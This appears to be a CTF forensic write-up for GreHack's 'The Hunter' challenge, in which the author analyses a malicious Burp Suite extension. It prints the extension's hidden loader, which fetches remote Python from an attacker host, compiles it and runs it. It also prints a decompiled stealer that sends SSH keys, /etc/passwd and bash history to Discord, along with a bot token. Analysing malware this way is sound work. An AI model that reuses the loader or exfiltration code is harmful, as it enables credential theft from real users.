Introduction

This year again, I was happy to be part of the organization committee for the GreHack conference and I created some challenges for the CTF. Organization was tricky this year, given that we had grown and sold almost 3x as many tickets as in previous years. Thanks to all the participants, organizers and sponsors, the event was once again complety insane đŸ”„ 💚

Challenge

  • Name : The Hunter
  • Category : Forensic
  • Difficulty : Medium
  • Solves : 6
  • Points : 475
  • Author : Nishacid

A friend of you, started to learn cybersecurity, but after trying hacking, it started to see some suspicious things on his computer. Can you help him to find out what’s happening? Password of his machine is: coffinxp:hunter123

Solve

This challenge start with downloading an export of a Linux machine, which is apparently to a cybersecurity junior.

The first analysis of the machine tell us that the user has installed some tools in his computer, like BurpSuite, ffuf, nuclei, sqlmap… But nothing seems to be interesting for the moment. We also notice that the history can be interesting because he searched about customizing BurpSuite with addons.

With a quick look on BurpSuite, we notice that he installed some extensions :

All seems legit, but if we look closely, we can see that the last one is a custom one, named dotGit

If we look at the source code of this addon, it looks like a simple python script that check if a website is using git for version control system.

But, some functions seem a bit suspicious, like the process function, that takes 2 arguments, the second one being the base64 decoded version of the first one.

def process(x, y):
    path = os.path.dirname(y)
    if not os.path.exists(path):
        os.makedirs(path)

    z = base64.b64decode(x).decode('utf-8')
    result = fetch_url(z)

    with open(y, 'w') as f:
        f.write(result)

    os.system("python3 -c 'import py_compile as p; p.compile(\"{}\", cfile=\"{}\")'".format(y, y + "c"))
    os.remove(y)

data = "aHR0cHM6Ly9pLXdpbGwtcHduLXlvdXIuaG9zdC81ODRlZGVhMTAzY2IyZjdlZGU2NmU0ZGRlOWJmM2I0Ngo="

[...]

process(data, "/var/tmp/module.py")
os.system("chmod +x /var/tmp/module.pyc && /var/tmp/module.pyc 'aa0d28c82a0a491bc6ba4883a2e85d29'")

This function gets a python code from the URL ‘https://i-will-pwn-your.host/584edea103cb2f7ede66e4dde9bf3b46' and compiles it into a python bytecode to create a new file at /var/tmp/module.pyc, then executes it with the key aa0d28c82a0a491bc6ba4883a2e85d29 as an argument.

We cannot look directly at the python bytecode, but according to the python version used (3.11), we can try to uncompile it with pycdc.

» sudo apt install -y cmake 
» git clone https://github.com/zrax/pycdc
» cd pycdc
» cmake .
» make

» ./pycdc /var/tmp/module.pyc > /var/tmp/module.py

The decompilation gives us a new file, module.py, that we can look at.

# Source Generated with Decompyle++
# File: module.pyc (Python 3.11)

import os
import base64
import json
import requests
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def g(a):
    b = { }
# WARNING: Decompyle incomplete


def d(e, f, g):
    h = AES.new(f, AES.MODE_CBC, g)
    i = unpad(h.decrypt(e), AES.block_size)
    return i.decode('utf-8')
# WARNING: Decompyle incomplete


def s(j, k, l):
    pass
# WARNING: Decompyle incomplete

if len(sys.argv) != 2:
    sys.exit(1)
z = sys.argv[1].encode('utf-8')
if len(z) not in (16, 24, 32):
    sys.exit(1)
iv = b'8497d52c9bde1689'
y = base64.b64decode('Z5dTXFyUTK9F5+Y9lDl0UdVyL63sDbN2ePDajnLXoXLbdfR5w6tCrGfGcmNslX18sJV2g8E42q8rhzt2DeYrfjQrP145eGYWy/vTruslc08=')
tkn = d(y, z, iv)
user_home = os.path.expanduser('~')
files = [
    '/etc/hostname',
    '/etc/passwd',
    '/etc/issue',
    '/etc/os-release',
    f'''{user_home}/secret.txt''',
    f'''{user_home}/.bash_history''',
    f'''{user_home}/.ssh/id_rsa''',
    f'''{user_home}/.ssh/id_rsa.pub''',
    f'''{user_home}/.ssh/authorized_keys''']
fc = g(files)
discord_channel_id = '1290060281657036938'
if tkn:
    s(tkn, discord_channel_id, fc)
    return None

We can see that the python script gets some information about the machine, and sends it to a discord channel, with the id 1290060281657036938.

Understing a bit more the code, we can see that the script uses AES to decrypt the discord token with the key aa0d28c82a0a491bc6ba4883a2e85d29 that we saw earlier and the IV 8497d52c9bde1689.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

key = b'aa0d28c82a0a491bc6ba4883a2e85d29'
iv = b'8497d52c9bde1689'

def decrypt_api_key(encrypted_key):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = unpad(cipher.decrypt(base64.b64decode(encrypted_key)), AES.block_size)
    return decrypted.decode('utf-8')

encrypted_key = "Z5dTXFyUTK9F5+Y9lDl0UdVyL63sDbN2ePDajnLXoXLbdfR5w6tCrGfGcmNslX18sJV2g8E42q8rhzt2DeYrfjQrP145eGYWy/vTruslc08="

api_key = decrypt_api_key(encrypted_key)
print(f"Key : {api_key}")

Executing this script gives us the API key.

python3 decrypt.py
Key : MTI5MDA2MDU2OTYwNDUyMjA4NQ.G-KDh6.oqSU5pzgOANoFWRSmRbDqBNFIDj7anluLqFykE

We can now use this key to get old messages who was sent to the discord.

import requests

BOT_TOKEN = 'MTI5MDA2MDU2OTYwNDUyMjA4NQ.G-KDh6.oqSU5pzgOANoFWRSmRbDqBNFIDj7anluLqFykE'
CHANNEL_ID = '1290060281657036938'

def get_channel_messages(token, channel_id, limit=10):
    url = f"https://discord.com/api/v9/channels/{channel_id}/messages"
    headers = {
        "Authorization": f"Bot {token}"
    }
    params = {
        "limit": limit
    }

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        messages = response.json()
        return messages
    else:
        print(f"Error: {response.status_code} - {response.text}")
        return None

messages = get_channel_messages(BOT_TOKEN, CHANNEL_ID, limit=10)

if messages:
    for message in messages:
        print(f"Author: {message['author']['username']} - Content: {message['content']}")

Executing this script give us the flag and files extracted from the machine.

Author: Potato - Content: /home/coffinxp/.ssh/authorized_keys
not_found

Author: Potato - Content: /home/coffinxp/.bash_history
passwd
hostnamectl sethostname hacker
hostnamectl -sethostname hacker
hostnamectl --sethostname hacker
hostnamectl --help 
hostnamectl set-hostname hacker
l
vim .bashrc 
source .bashrc 
l
ll
aa
l
ll
ls -lah
cat .viminfo 
touch secret.txt 
rm .bash_history 
sudo apt update
su
sudo apt update
ruby
su
sudo apt update
apt list --upgradable 
sudo apt upgrade -y 
cd Downloads/
l
chmod +x burpsuite_community_linux_v2024_7_6.sh 
./burpsuite_community_linux_v2024_7_6.sh 
cd 
cd Downloads/
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -xzf go1.22.1.linux-amd64.tar.gz
sudo mv go /usr/local
vim ~/.bashrc 
go --version
source ~/.bashrc 
go version
df -h
git clone https://github.com/ffuf/ffuf
cd ffuf/
go get 
go build 
l
ffuf 
./ffuf 
git clone https://github.com/projectdiscovery/naabu.git
git clone https://github.com/projectdiscovery/nuclei
python3 --version
# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add the repository to Apt sources:
echo   "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" |   sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
gem install wpscan
sudo apt install git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev software-properties-common libffi-dev nodejs yarn -y
apt install git -yt
apt install git -y
sdo apt install git -y
sudo apt install git -y
cd 
l
cd Documents/
l
ls -lah 
mkdir tools
cd tools/
nmap
sudo apt install nmap
git clone https://github.com/sqlmapproject/sqlmap.git
git clone https://github.com/projectdiscovery/subfinder
c

Author: Potato - Content: /home/coffinxp/secret.txt
GH{th3_h4ck3r_W4s_H4ck3d_bY_4_haCk3r:(}

Author: Potato - Content: /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Author: Potato - Content: /etc/issue
Debian GNU/Linux 12 \n \l


Author: Potato - Content: /etc/passwd
:114:122:Gnome Display Manager:/var/lib/gdm3:/bin/false
coffinxp❌1000:1000:coffinxp,,,:/home/coffinxp:/bin/bash

Author: Potato - Content: /etc/hostname
hacker
  • Flag : GH{th3_h4ck3r_W4s_H4ck3d_bY_4_haCk3r:(}

Resources